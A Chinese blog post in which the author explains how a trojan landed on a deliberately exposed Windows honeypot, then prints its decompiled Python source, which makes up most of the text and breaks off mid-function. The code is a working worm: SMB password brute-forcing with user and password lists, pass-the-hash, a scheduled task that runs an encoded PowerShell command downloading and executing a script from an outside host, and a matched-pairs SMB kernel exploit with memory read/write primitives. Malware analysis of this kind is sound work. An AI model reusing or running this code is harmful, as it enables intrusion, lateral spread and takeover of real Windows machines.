2024-11-02 12:32:13 +00:00
---
layout: post
title: 关于Python制作的木马探索
tags: [Python, 木马, 病毒]
---
想不到木马病毒居然也可以用Python写😆<!--more-->
# 起因
在一年前阿里云搞了个高校学生免费领300CNY券的活动, 那时候我领了一张并且零元购了一个香港的2c1g轻量服务器, 在这一年里它为我做了许多, 不仅当延迟极低的梯子, 另外还运行着H@H给我赚Hath 。一年过后的现在它马上就要过期了,当时我让我的同学也领了一张,正好等到我服务器快过期的时候买,于是我创好服务器并且把我的东西都迁过去,之后旧的服务器就没什么用了。
那在它剩下的最后几天让它干些什么好呢? 首先Linux系统感觉没啥意思, 装个Windows玩玩吧。不过香港阿里云在装了Linux系统之后是不允许切换成Windows的, 而且如果买的时候装Windows还需要额外付费, 所以我用了一个[一键DD/重装脚本 ](https://github.com/bin456789/reinstall )把我的系统重装成Windows Server 2008。不过其实就算刷成Windows也不能改变它没啥用的事实, 所以我给它设置了超简单的密码, 并且没有装任何补丁, 防火墙全关掉, 让它在网络上成为能被随意攻破的肉鸡吧。
在这之后没几天我登上去看了一眼, 其实看不出来啥, 毕竟就算被入侵了绝大多数情况都是被人当备用的, 一般人也不会闲着把上面的文件全删掉, 把系统搞崩。所以我安了个360, 看看有没有中木马, 结果还真中了, 在Temp目录下多了个“svchost.exe”文件( 虽然还有其他的木马文件但不是Python的所以不感兴趣) , 而且看图标居然是pyinstaller打包的! 这让我有点感兴趣了, 其他语言写的编译之后很难看出来什么, 而且我也看不懂其他语言写的东西, 但是Python我至少还是能看懂的, 所以我就下载了这个样本尝试获得它的源代码。
# 提取源代码
pyinstaller解包还是挺简单的, 用[PyInstaller Extractor ](https://github.com/extremecoders-re/pyinstxtractor )就可以, 首先我在我的电脑上尝试解包, 不过因为Python版本不对, 里面的PYZ文件不能解包, 并且提示我使用Python 2.7的环境再试一次。我找了台装有Python 2.7环境的服务器又执行了一次之后就全部解包完了。想不到这个木马居然没有加密😂,直接就能解压,不过就算加密了我之前看过一篇[文章 ](https://www.cnblogs.com/liweis/p/15891170.html )可以进行解密。
不过现在得到的文件都是字节码pyc文件, 还需要反编译才能看到源代码, 这个步骤也很简单, 安装个[uncompyle6 ](https://github.com/rocky/python-uncompyle6 )工具就可以。它的主程序名字叫“ii.py”, 于是我反编译了一下, 不过看起来作者还整了一些混淆, 但是极其简单, 就把几个函数换成一串变量而已, 所以写了个简单的脚本给它还原回去了, 最终处理的结果如下( 里面有个[混淆过的PowerShell版mimikatz ](https://github.com/DanMcInerney/Invoke-Cats ),太长了所以我给删掉了):
2025-04-09 17:31:38 +00:00
<script>
function showcode() {
$('.showbutton').toggle();
$('.language-python').toggle();
}
</script>
<style>
.language-python{ display:none; }
</style>
<button onclick="showcode()" class="showbutton">Show Code</button>
<button onclick="showcode()" class="showbutton" style="display:none;">Hide Code</button>
2024-11-02 12:32:13 +00:00
``` python
# uncompyle6 version 3.9.2
# Python bytecode version base 2.7 (62211)
# Decompiled from: Python 2.7.18 (default, Jun 24 2022, 18:01:55)
# [GCC 8.5.0 20210514 (Red Hat 8.5.0-13)]
# Embedded file name: ii.py
import subprocess
import re
import binascii
import socket
import struct
import threading
import os
import random
import platform
from urllib2 import urlopen
from json import load
from impacket import smb , smbconnection
from mysmb import MYSMB
from struct import pack , unpack , unpack_from
import sys
import socket
import time
from psexec import PSEXEC
iplist = [ ' 192.168.0.1/24 ' , ' 192.168.1.1/24 ' , ' 192.168.2.1/24 ' , ' 192.168.3.1/24 ' , ' 192.168.4.1/24 ' ,
' 192.168.5.1/24 ' , ' 192.168.6.1/24 ' , ' 192.168.7.1/24 ' , ' 192.168.8.1/24 ' , ' 192.168.9.1/24 ' ,
' 192.168.10.1/24 ' , ' 192.168.18.1/24 ' , ' 192.168.31.1/24 ' , ' 192.168.199.1/24 ' ,
' 192.168.254.1/24 ' , ' 192.168.67.1/24 ' , ' 10.0.0.1/24 ' , ' 10.0.1.1/24 ' , ' 10.0.2.1/24 ' ,
' 10.1.1.1/24 ' , ' 10.90.90.1/24 ' , ' 10.1.10.1/24 ' , ' 10.10.1.1/24 ' ]
userlist = [ ' ' , ' Administrator ' , ' user ' , ' admin ' , ' test ' , ' hp ' , ' guest ' ]
userlist2 = [ ' ' , ' Administrator ' , ' admin ' ]
passlist = [ ' ' , ' 123456 ' , ' password ' , ' qwerty ' , ' 12345678 ' , ' 123456789 ' , ' 123 ' , ' 1234 ' ,
' 123123 ' , ' 12345 ' , ' 12345678 ' , ' 123123123 ' , ' 1234567890 ' , ' 88888888 ' , ' 111111111 ' ,
' 000000 ' , ' 111111 ' , ' 112233 ' , ' 123321 ' , ' 654321 ' , ' 666666 ' , ' 888888 ' , ' a123456 ' ,
' 123456a ' , ' 5201314 ' , ' 1qaz2wsx ' , ' 1q2w3e4r ' , ' qwe123 ' , ' 123qwe ' , ' a123456789 ' ,
' 123456789a ' , ' baseball ' , ' dragon ' , ' football ' , ' iloveyou ' , ' password ' ,
' sunshine ' , ' princess ' , ' welcome ' , ' abc123 ' , ' monkey ' , ' !@#$ % ^&* ' , ' charlie ' ,
' aa123456 ' , ' Aa123456 ' , ' admin ' , ' homelesspa ' , ' password1 ' , ' 1q2w3e4r5t ' ,
' qwertyuiop ' , ' 1qaz2wsx ' ]
domainlist = [ ' ' ]
nip = [ ]
ntlist = [ ]
# remove mkatz cause it is too long(https://github.com/DanMcInerney/Invoke-Cats)
mkatz = ' '
def find_ip ( ) :
global iplist2
ipconfig_process = subprocess . Popen ( ' ipconfig /all ' , stdout = subprocess . PIPE )
output = ipconfig_process . stdout . read ( )
result = re . findall ( ' \\ b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?) \\ .) {3} (?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?) \\ b ' , output )
for ipaddr in result :
if ipaddr != ' 127.0.0.1 ' and ipaddr != ' 255.255.255.0 ' and ipaddr != ' 0.0.0.0 ' :
ipaddr = ipaddr . split ( ' . ' ) [ 0 ] + ' . ' + ipaddr . split ( ' . ' ) [ 1 ] + ' . ' + ipaddr . split ( ' . ' ) [ 2 ] + ' .1/24 '
iplist . append ( ipaddr )
netstat_process = subprocess . Popen ( ' netstat -na ' , stdout = subprocess . PIPE )
output2 = netstat_process . stdout . read ( )
result2 = re . findall ( ' \\ b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?) \\ .) {3} (?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?) \\ b ' , output2 )
for ip in result2 :
if ip != ' 127.0.0.1 ' and ip != ' 0.0.0.0 ' and ip != ' 255.255.0.0 ' and ip != ' 1.1.1.1 ' :
ip = ip . split ( ' . ' ) [ 0 ] + ' . ' + ip . split ( ' . ' ) [ 1 ] + ' . ' + ip . split ( ' . ' ) [ 2 ] + ' .1/24 '
iplist . append ( ip )
try :
ipp1 = urlopen ( ' http://ip.42.pl/raw ' , timeout = 3 ) . read ( )
ipp1 = ipp1 . split ( ' . ' ) [ 0 ] + ' . ' + ipp1 . split ( ' . ' ) [ 1 ] + ' . ' + ipp1 . split ( ' . ' ) [ 2 ] + ' .1/24 '
ipp2 = load ( urlopen ( ' http://jsonip.com ' , timeout = 3 ) ) [ ' ip ' ]
ipp2 = ipp2 . split ( ' . ' ) [ 0 ] + ' . ' + ipp2 . split ( ' . ' ) [ 1 ] + ' . ' + ipp2 . split ( ' . ' ) [ 2 ] + ' .1/24 '
iplist . append ( ipp1 )
iplist . append ( ipp2 )
except :
pass
iplist2 = list ( set ( iplist ) )
iplist2 . sort ( key = iplist . index )
return iplist2
def xip ( numb ) :
del nip [ : ]
for n in xrange ( numb ) :
ipp = socket . inet_ntoa ( struct . pack ( ' >I ' , random . randint ( 1 , 4294967295 L ) ) )
ipp = ipp . split ( ' . ' ) [ 0 ] + ' . ' + ipp . split ( ' . ' ) [ 1 ] + ' . ' + ipp . split ( ' . ' ) [ 2 ] + ' .1/24 '
nip . append ( ipp )
return nip
def scan ( ip , p ) :
global timeout
s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
s . settimeout ( float ( timeout ) if timeout else None )
try :
s . connect ( ( ip , p ) )
return 1
except Exception as e :
return 0
def scan2 ( ip , p ) :
s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
s . settimeout ( float ( 2 ) )
try :
s . connect ( ( ip , p ) )
return 1
except Exception as e :
return 0
def scan3 ( ip , p ) :
s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM )
s . settimeout ( float ( 1 ) )
try :
s . connect ( ( ip , p ) )
return 1
except Exception as e :
return 0
def validate ( ip , fr ) :
global dl
global domainlist
global ee2
global passlist
global userlist2
for u in userlist2 :
for p in passlist :
if u == ' ' and p != ' ' :
continue
for d in domainlist :
if PSEXEC ( ee2 , dl , ' cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn " \\ Microsoft \\ windows \\ Bluetooths " /tr " powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= " /F&&c: \\ windows \\ temp \\ svchost.exe ' , u , p , d , fr ) . run ( ip ) :
print ' SMB Succ! '
return
def validate2 ( ip , fr ) :
global ntlist
for u in userlist2 :
for d in domainlist :
for n in ntlist :
if PSEXEC ( ee2 , dl , ' cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn " \\ Microsoft \\ windows \\ Bluetooths " /tr " powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= " /F&&c: \\ windows \\ temp \\ svchost.exe ' , u , ' ' , d , fr , ' 00000000000000000000000000000000: ' + n ) . run ( ip ) :
print ' SMB Succ! '
return
def scansmb ( ip , p ) :
global semaphore1
if scan ( ip , 445 ) == 1 :
if scan ( ip , 65533 ) == 0 :
print ' exp IP: ' + ip
try :
validate ( ip , ' 1 ' )
except :
pass
try :
check_ip ( ip , 1 )
except :
pass
try :
validate2 ( ip , ' 3 ' )
except :
pass
semaphore1 . release ( )
def scansmb2 ( ip , p ) :
if scan2 ( ip , 445 ) == 1 :
print ' exp IP: ' + ip
try :
validate ( ip , ' 2 ' )
except :
pass
try :
check_ip ( ip , 2 )
except :
pass
try :
validate2 ( ip , ' 2 ' )
except :
pass
semaphore1 . release ( )
def scansmb3 ( ip , p ) :
global semaphore2
if scan3 ( ip , 445 ) == 1 :
if scan3 ( ip , 65533 ) == 0 :
print ' exp IP: ' + ip
try :
validate ( ip , ' 2 ' )
except :
pass
try :
check_ip ( ip , 2 )
except :
pass
try :
validate2 ( ip , ' 3 ' )
except :
pass
semaphore2 . release ( )
WIN7_64_SESSION_INFO = { ' SESSION_SECCTX_OFFSET ' : 160 , ' SESSION_ISNULL_OFFSET ' : 186 , ' FAKE_SECCTX ' : ( pack ( ' <IIQQIIB ' , 2621994 , 1 , 0 , 0 , 2 , 0 , 1 ) ) , ' SECCTX_SIZE ' : 40 }
WIN7_32_SESSION_INFO = { ' SESSION_SECCTX_OFFSET ' : 128 , ' SESSION_ISNULL_OFFSET ' : 150 , ' FAKE_SECCTX ' : ( pack ( ' <IIIIIIB ' , 1835562 , 1 , 0 , 0 , 2 , 0 , 1 ) ) , ' SECCTX_SIZE ' : 28 }
WIN8_64_SESSION_INFO = { ' SESSION_SECCTX_OFFSET ' : 176 , ' SESSION_ISNULL_OFFSET ' : 202 , ' FAKE_SECCTX ' : ( pack ( ' <IIQQQQIIB ' , 3670570 , 1 , 0 , 0 , 0 , 0 , 2 , 0 , 1 ) ) , ' SECCTX_SIZE ' : 56 }
WIN8_32_SESSION_INFO = { ' SESSION_SECCTX_OFFSET ' : 136 , ' SESSION_ISNULL_OFFSET ' : 158 , ' FAKE_SECCTX ' : ( pack ( ' <IIIIIIIIB ' , 2359850 , 1 , 0 , 0 , 0 , 0 , 2 , 0 , 1 ) ) , ' SECCTX_SIZE ' : 36 }
WIN2K3_64_SESSION_INFO = { ' SESSION_ISNULL_OFFSET ' : 186 , ' SESSION_SECCTX_OFFSET ' : 160 , ' SECCTX_PCTXTHANDLE_OFFSET ' : 16 , ' PCTXTHANDLE_TOKEN_OFFSET ' : 64 , ' TOKEN_USER_GROUP_CNT_OFFSET ' : 76 , ' TOKEN_USER_GROUP_ADDR_OFFSET ' : 104 }
WIN2K3_32_SESSION_INFO = { ' SESSION_ISNULL_OFFSET ' : 150 , ' SESSION_SECCTX_OFFSET ' : 128 , ' SECCTX_PCTXTHANDLE_OFFSET ' : 12 , ' PCTXTHANDLE_TOKEN_OFFSET ' : 36 , ' TOKEN_USER_GROUP_CNT_OFFSET ' : 76 , ' TOKEN_USER_GROUP_ADDR_OFFSET ' : 104 }
WINXP_32_SESSION_INFO = { ' SESSION_ISNULL_OFFSET ' : 148 , ' SESSION_SECCTX_OFFSET ' : 132 , ' PCTXTHANDLE_TOKEN_OFFSET ' : 36 , ' TOKEN_USER_GROUP_CNT_OFFSET ' : 76 , ' TOKEN_USER_GROUP_ADDR_OFFSET ' : 104 , ' TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1 ' : 64 , ' TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1 ' : 92 }
WIN2K_32_SESSION_INFO = { ' SESSION_ISNULL_OFFSET ' : 148 , ' SESSION_SECCTX_OFFSET ' : 132 , ' PCTXTHANDLE_TOKEN_OFFSET ' : 36 , ' TOKEN_USER_GROUP_CNT_OFFSET ' : 60 , ' TOKEN_USER_GROUP_ADDR_OFFSET ' : 88 }
WIN7_32_TRANS_INFO = { ' TRANS_SIZE ' : 160 , ' TRANS_FLINK_OFFSET ' : 24 , ' TRANS_INPARAM_OFFSET ' : 64 , ' TRANS_OUTPARAM_OFFSET ' : 68 , ' TRANS_INDATA_OFFSET ' : 72 , ' TRANS_OUTDATA_OFFSET ' : 76 , ' TRANS_PARAMCNT_OFFSET ' : 88 , ' TRANS_TOTALPARAMCNT_OFFSET ' : 92 , ' TRANS_FUNCTION_OFFSET ' : 114 , ' TRANS_MID_OFFSET ' : 128 }
WIN7_64_TRANS_INFO = { ' TRANS_SIZE ' : 248 , ' TRANS_FLINK_OFFSET ' : 40 , ' TRANS_INPARAM_OFFSET ' : 112 , ' TRANS_OUTPARAM_OFFSET ' : 120 , ' TRANS_INDATA_OFFSET ' : 128 , ' TRANS_OUTDATA_OFFSET ' : 136 , ' TRANS_PARAMCNT_OFFSET ' : 152 , ' TRANS_TOTALPARAMCNT_OFFSET ' : 156 , ' TRANS_FUNCTION_OFFSET ' : 178 , ' TRANS_MID_OFFSET ' : 192 }
WIN5_32_TRANS_INFO = { ' TRANS_SIZE ' : 152 , ' TRANS_FLINK_OFFSET ' : 24 , ' TRANS_INPARAM_OFFSET ' : 60 , ' TRANS_OUTPARAM_OFFSET ' : 64 , ' TRANS_INDATA_OFFSET ' : 68 , ' TRANS_OUTDATA_OFFSET ' : 72 , ' TRANS_PARAMCNT_OFFSET ' : 84 , ' TRANS_TOTALPARAMCNT_OFFSET ' : 88 , ' TRANS_FUNCTION_OFFSET ' : 110 , ' TRANS_PID_OFFSET ' : 120 , ' TRANS_MID_OFFSET ' : 124 }
WIN5_64_TRANS_INFO = { ' TRANS_SIZE ' : 224 , ' TRANS_FLINK_OFFSET ' : 40 , ' TRANS_INPARAM_OFFSET ' : 104 , ' TRANS_OUTPARAM_OFFSET ' : 112 , ' TRANS_INDATA_OFFSET ' : 120 , ' TRANS_OUTDATA_OFFSET ' : 128 , ' TRANS_PARAMCNT_OFFSET ' : 144 , ' TRANS_TOTALPARAMCNT_OFFSET ' : 148 , ' TRANS_FUNCTION_OFFSET ' : 170 , ' TRANS_PID_OFFSET ' : 180 , ' TRANS_MID_OFFSET ' : 184 }
X86_INFO = { ' ARCH ' : ' x86 ' , ' PTR_SIZE ' : 4 , ' PTR_FMT ' : ' I ' , ' FRAG_TAG_OFFSET ' : 12 , ' POOL_ALIGN ' : 8 , ' SRV_BUFHDR_SIZE ' : 8 }
X64_INFO = { ' ARCH ' : ' x64 ' , ' PTR_SIZE ' : 8 , ' PTR_FMT ' : ' Q ' , ' FRAG_TAG_OFFSET ' : 20 , ' POOL_ALIGN ' : 16 , ' SRV_BUFHDR_SIZE ' : 16 }
def merge_dicts ( * dict_args ) :
result = { }
for dictionary in dict_args :
result . update ( dictionary )
return result
OS_ARCH_INFO = { ' WIN7 ' : { ' x86 ' : ( merge_dicts ( X86_INFO , WIN7_32_TRANS_INFO , WIN7_32_SESSION_INFO ) ) , ' x64 ' : ( merge_dicts ( X64_INFO , WIN7_64_TRANS_INFO , WIN7_64_SESSION_INFO ) ) } , ' WIN8 ' : { ' x86 ' : ( merge_dicts ( X86_INFO , WIN7_32_TRANS_INFO , WIN8_32_SESSION_INFO ) ) , ' x64 ' : ( merge_dicts ( X64_INFO , WIN7_64_TRANS_INFO , WIN8_64_SESSION_INFO ) ) } , ' WINXP ' : { ' x86 ' : ( merge_dicts ( X86_INFO , WIN5_32_TRANS_INFO , WINXP_32_SESSION_INFO ) ) , ' x64 ' : ( merge_dicts ( X64_INFO , WIN5_64_TRANS_INFO , WIN2K3_64_SESSION_INFO ) ) } , ' WIN2K3 ' : { ' x86 ' : ( merge_dicts ( X86_INFO , WIN5_32_TRANS_INFO , WIN2K3_32_SESSION_INFO ) ) , ' x64 ' : ( merge_dicts ( X64_INFO , WIN5_64_TRANS_INFO , WIN2K3_64_SESSION_INFO ) ) } , ' WIN2K ' : { ' x86 ' : ( merge_dicts ( X86_INFO , WIN5_32_TRANS_INFO , WIN2K_32_SESSION_INFO ) ) } }
TRANS_NAME_LEN = 4
HEAP_HDR_SIZE = 8
def calc_alloc_size ( size , align_size ) :
return size + align_size - 1 & ~ ( align_size - 1 )
def wait_for_request_processed ( conn ) :
conn . send_echo ( ' a ' )
def find_named_pipe ( conn ) :
pipes = [ ' browser ' , ' spoolss ' , ' netlogon ' , ' lsarpc ' , ' samr ' ]
tid = conn . tree_connect_andx ( ' \\ \\ ' + conn . get_remote_host ( ) + ' \\ ' + ' IPC$ ' )
found_pipe = None
for pipe in pipes :
try :
fid = conn . nt_create_andx ( tid , pipe )
conn . close ( tid , fid )
found_pipe = pipe
break
except smb . SessionError as e :
pass
conn . disconnect_tree ( tid )
return found_pipe
special_mid = 0
extra_last_mid = 0
def reset_extra_mid ( conn ) :
global extra_last_mid
global special_mid
special_mid = ( conn . next_mid ( ) & 65280 ) - 256
extra_last_mid = special_mid
def next_extra_mid ( ) :
global extra_last_mid
extra_last_mid + = 1
return extra_last_mid
GROOM_TRANS_SIZE = 20496
def leak_frag_size ( conn , tid , fid ) :
info = { }
mid = conn . next_mid ( )
req1 = conn . create_nt_trans_packet ( 5 , param = pack ( ' <HH ' , fid , 0 ) , mid = mid , data = ' A ' * 4304 , maxParameterCount = GROOM_TRANS_SIZE - 4304 - TRANS_NAME_LEN )
req2 = conn . create_nt_trans_secondary_packet ( mid , data = ' B ' * 276 )
conn . send_raw ( req1 [ : - 8 ] )
conn . send_raw ( req1 [ - 8 : ] + req2 )
leakData = conn . recv_transaction_data ( mid , 4580 )
leakData = leakData [ 4308 : ]
if leakData [ X86_INFO [ ' FRAG_TAG_OFFSET ' ] : X86_INFO [ ' FRAG_TAG_OFFSET ' ] + 4 ] == ' Frag ' :
print ' Target is 32 bit '
info [ ' arch ' ] = ' x86 '
info [ ' FRAG_POOL_SIZE ' ] = ord ( leakData [ X86_INFO [ ' FRAG_TAG_OFFSET ' ] - 2 ] ) * X86_INFO [ ' POOL_ALIGN ' ]
elif leakData [ X64_INFO [ ' FRAG_TAG_OFFSET ' ] : X64_INFO [ ' FRAG_TAG_OFFSET ' ] + 4 ] == ' Frag ' :
print ' Target is 64 bit '
info [ ' arch ' ] = ' x64 '
info [ ' FRAG_POOL_SIZE ' ] = ord ( leakData [ X64_INFO [ ' FRAG_TAG_OFFSET ' ] - 2 ] ) * X64_INFO [ ' POOL_ALIGN ' ]
else :
print ' Not found Frag pool tag in leak data '
print ( ' Got frag size: 0x {:x} ' ) . format ( info [ ' FRAG_POOL_SIZE ' ] )
return info
def read_data ( conn , info , read_addr , read_size ) :
fmt = info [ ' PTR_FMT ' ]
new_data = pack ( ' < ' + fmt * 3 , info [ ' trans2_addr ' ] + info [ ' TRANS_FLINK_OFFSET ' ] , info [ ' trans2_addr ' ] + 512 , read_addr )
new_data + = pack ( ' <II ' , 0 , 0 )
new_data + = pack ( ' <III ' , 8 , 8 , 8 )
new_data + = pack ( ' <III ' , read_size , read_size , read_size )
new_data + = pack ( ' <HH ' , 0 , 5 )
conn . send_nt_trans_secondary ( mid = info [ ' trans1_mid ' ] , data = new_data , dataDisplacement = info [ ' TRANS_OUTPARAM_OFFSET ' ] )
conn . send_nt_trans ( 5 , param = pack ( ' <HH ' , info [ ' fid ' ] , 0 ) , totalDataCount = 17120 , totalParameterCount = 4096 )
conn . send_nt_trans_secondary ( mid = info [ ' trans2_mid ' ] )
read_data = conn . recv_transaction_data ( info [ ' trans2_mid ' ] , 8 + read_size )
info [ ' trans2_addr ' ] = unpack_from ( ' < ' + fmt , read_data ) [ 0 ] - info [ ' TRANS_FLINK_OFFSET ' ]
conn . send_nt_trans_secondary ( mid = info [ ' trans1_mid ' ] , param = pack ( ' < ' + fmt , info [ ' trans2_addr ' ] ) , paramDisplacement = info [ ' TRANS_INDATA_OFFSET ' ] )
wait_for_request_processed ( conn )
conn . send_nt_trans_secondary ( mid = info [ ' trans1_mid ' ] , data = pack ( ' <H ' , info [ ' trans2_mid ' ] ) , dataDisplacement = info [ ' TRANS_MID_OFFSET ' ] )
wait_for_request_processed ( conn )
return read_data [ 8 : ]
def write_data ( conn , info , write_addr , write_data ) :
conn . send_nt_trans_secondary ( mid = info [ ' trans1_mid ' ] , data = pack ( ' < ' + info [ ' PTR_FMT ' ] , write_addr ) , dataDisplacement = info [ ' TRANS_INDATA_OFFSET ' ] )
wait_for_request_processed ( conn )
conn . send_nt_trans_secondary ( mid = info [ ' trans2_mid ' ] , data = write_data )
wait_for_request_processed ( conn )
def align_transaction_and_leak ( conn , tid , fid , info , numFill = 4 ) :
trans_param = pack ( ' <HH ' , fid , 0 )
for i in range ( numFill ) :
conn . send_nt_trans ( 5 , param = trans_param , totalDataCount = 4304 , maxParameterCount = GROOM_TRANS_SIZE - 4304 )
mid_ntrename = conn . next_mid ( )
req1 = conn . create_nt_trans_packet ( 5 , param = trans_param , mid = mid_ntrename , data = ' A ' * 4304 , maxParameterCount = info [ ' GROOM_DATA_SIZE ' ] - 4304 )
req2 = conn . create_nt_trans_secondary_packet ( mid_ntrename , data = ' B ' * 276 )
req3 = conn . create_nt_trans_packet ( 5 , param = trans_param , mid = fid , totalDataCount = info [ ' GROOM_DATA_SIZE ' ] - 4096 , maxParameterCount = 4096 )
reqs = [ ]
for i in range ( 12 ) :
mid = next_extra_mid ( )
reqs . append ( conn . create_trans_packet ( ' ' , mid = mid , param = trans_param , totalDataCount = info [ ' BRIDE_DATA_SIZE ' ] - 512 , totalParameterCount = 512 , maxDataCount = 0 , maxParameterCount = 0 ) )
conn . send_raw ( req1 [ : - 8 ] )
conn . send_raw ( req1 [ - 8 : ] + req2 + req3 + ( ' ' ) . join ( reqs ) )
leakData = conn . recv_transaction_data ( mid_ntrename , 4580 )
leakData = leakData [ 4308 : ]
if leakData [ info [ ' FRAG_TAG_OFFSET ' ] : info [ ' FRAG_TAG_OFFSET ' ] + 4 ] != ' Frag ' :
print ' Not found Frag pool tag in leak data '
return None
leakData = leakData [ info [ ' FRAG_TAG_OFFSET ' ] - 4 + info [ ' FRAG_POOL_SIZE ' ] : ]
expected_size = pack ( ' <H ' , info [ ' BRIDE_TRANS_SIZE ' ] )
leakTransOffset = info [ ' POOL_ALIGN ' ] + info [ ' SRV_BUFHDR_SIZE ' ]
if leakData [ 4 : 8 ] != ' LStr ' or leakData [ info [ ' POOL_ALIGN ' ] : info [ ' POOL_ALIGN ' ] + 2 ] != expected_size or leakData [ leakTransOffset + 2 : leakTransOffset + 4 ] != expected_size :
print ' No transaction struct in leak data '
return None
leakTrans = leakData [ leakTransOffset : ]
ptrf = info [ ' PTR_FMT ' ]
_ , connection_addr , session_addr , treeconnect_addr , flink_value = unpack_from ( ' < ' + ptrf * 5 , leakTrans , 8 )
inparam_value = unpack_from ( ' < ' + ptrf , leakTrans , info [ ' TRANS_INPARAM_OFFSET ' ] ) [ 0 ]
leak_mid = unpack_from ( ' <H ' , leakTrans , info [ ' TRANS_MID_OFFSET ' ] ) [ 0 ]
print ( ' CONNECTION: 0x {:x} ' ) . format ( connection_addr )
print ( ' SESSION: 0x {:x} ' ) . format ( session_addr )
print ( ' FLINK: 0x {:x} ' ) . format ( flink_value )
print ( ' InParam: 0x {:x} ' ) . format ( inparam_value )
print ( ' MID: 0x {:x} ' ) . format ( leak_mid )
next_page_addr = ( inparam_value & 18446744073709547520 L ) + 4096
if next_page_addr + info [ ' GROOM_POOL_SIZE ' ] + info [ ' FRAG_POOL_SIZE ' ] + info [ ' POOL_ALIGN ' ] + info [ ' SRV_BUFHDR_SIZE ' ] + info [ ' TRANS_FLINK_OFFSET ' ] != flink_value :
print ( ' unexpected alignment, diff: 0x {:x} ' ) . format ( flink_value - next_page_addr )
return None
return { ' connection ' : connection_addr , ' session ' : session_addr , ' next_page_addr ' : next_page_addr , ' trans1_mid ' : leak_mid , ' trans1_addr ' : ( inparam_value - info [ ' TRANS_SIZE ' ] - TRANS_NAME_LEN ) , ' trans2_addr ' : ( flink_value - info [ ' TRANS_FLINK_OFFSET ' ] ) }
def exploit_matched_pairs ( conn , pipe_name , info ) :
tid = conn . tree_connect_andx ( ' \\ \\ ' + conn . get_remote_host ( ) + ' \\ ' + ' IPC$ ' )
conn . set_default_tid ( tid )
fid = conn . nt_create_andx ( tid , pipe_name )
info . update ( leak_frag_size ( conn , tid , fid ) )
info . update ( OS_ARCH_INFO [ info [ ' os ' ] ] [ info [ ' arch ' ] ] )
info [ ' GROOM_POOL_SIZE ' ] = calc_alloc_size ( GROOM_TRANS_SIZE + info [ ' SRV_BUFHDR_SIZE ' ] + info [ ' POOL_ALIGN ' ] , info [ ' POOL_ALIGN ' ] )
print ( ' GROOM_POOL_SIZE: 0x {:x} ' ) . format ( info [ ' GROOM_POOL_SIZE ' ] )
info [ ' GROOM_DATA_SIZE ' ] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info [ ' TRANS_SIZE ' ]
bridePoolSize = 4096 - ( info [ ' GROOM_POOL_SIZE ' ] & 4095 ) - info [ ' FRAG_POOL_SIZE ' ]
info [ ' BRIDE_TRANS_SIZE ' ] = bridePoolSize - ( info [ ' SRV_BUFHDR_SIZE ' ] + info [ ' POOL_ALIGN ' ] )
print ( ' BRIDE_TRANS_SIZE: 0x {:x} ' ) . format ( info [ ' BRIDE_TRANS_SIZE ' ] )
info [ ' BRIDE_DATA_SIZE ' ] = info [ ' BRIDE_TRANS_SIZE ' ] - TRANS_NAME_LEN - info [ ' TRANS_SIZE ' ]
leakInfo = None
for i in range ( 10 ) :
reset_extra_mid ( conn )
leakInfo = align_transaction_and_leak ( conn , tid , fid , info )
if leakInfo is not None :
break
print ' leak failed... try again '
conn . close ( tid , fid )
conn . disconnect_tree ( tid )
tid = conn . tree_connect_andx ( ' \\ \\ ' + conn . get_remote_host ( ) + ' \\ ' + ' IPC$ ' )
conn . set_default_tid ( tid )
fid = conn . nt_create_andx ( tid , pipe_name )
if leakInfo is None :
return False
info [ ' fid ' ] = fid
info . update ( leakInfo )
shift_indata_byte = 512
conn . do_write_andx_raw_pipe ( fid , ' A ' * shift_indata_byte )
indata_value = info [ ' next_page_addr ' ] + info [ ' TRANS_SIZE ' ] + 8 + info [ ' SRV_BUFHDR_SIZE ' ] + 4096 + shift_indata_byte
indata_next_trans_displacement = info [ ' trans2_addr ' ] - indata_value
conn . send_nt_trans_secondary ( mid = fid , data = ' \x00 ' , dataDisplacement = indata_next_trans_displacement + info [ ' TRANS_MID_OFFSET ' ] )
wait_for_request_processed ( conn )
recvPkt = conn . send_nt_trans ( 5 , mid = special_mid , param = pack ( ' <HH ' , fid , 0 ) , data = ' ' )
if recvPkt . getNTStatus ( ) != 65538 :
print ( ' unexpected return status: 0x {:x} ' ) . format ( recvPkt . getNTStatus ( ) )
print ' !!! Write to wrong place !!! '
print ' the target might be crashed '
return False
print ' success controlling groom transaction '
print ' modify trans1 struct for arbitrary read/write '
fmt = info [ ' PTR_FMT ' ]
conn . send_nt_trans_secondary ( mid = fid , data = pack ( ' < ' + fmt , info [ ' trans1_addr ' ] ) , dataDisplacement = indata_next_trans_displacement + info [ ' TRANS_INDATA_OFFSET ' ] )
wait_for_request_processed ( conn )
conn . send_nt_trans_secondary ( mid = special_mid , data = pack ( ' < ' + fmt * 3 , info [ ' trans1_addr ' ] , info [ ' trans1_addr ' ] + 512 , info [ ' trans2_addr ' ] ) , dataDisplacement = info [ ' TRANS_INPARAM_OFFSET ' ] )
wait_for_request_processed ( conn )
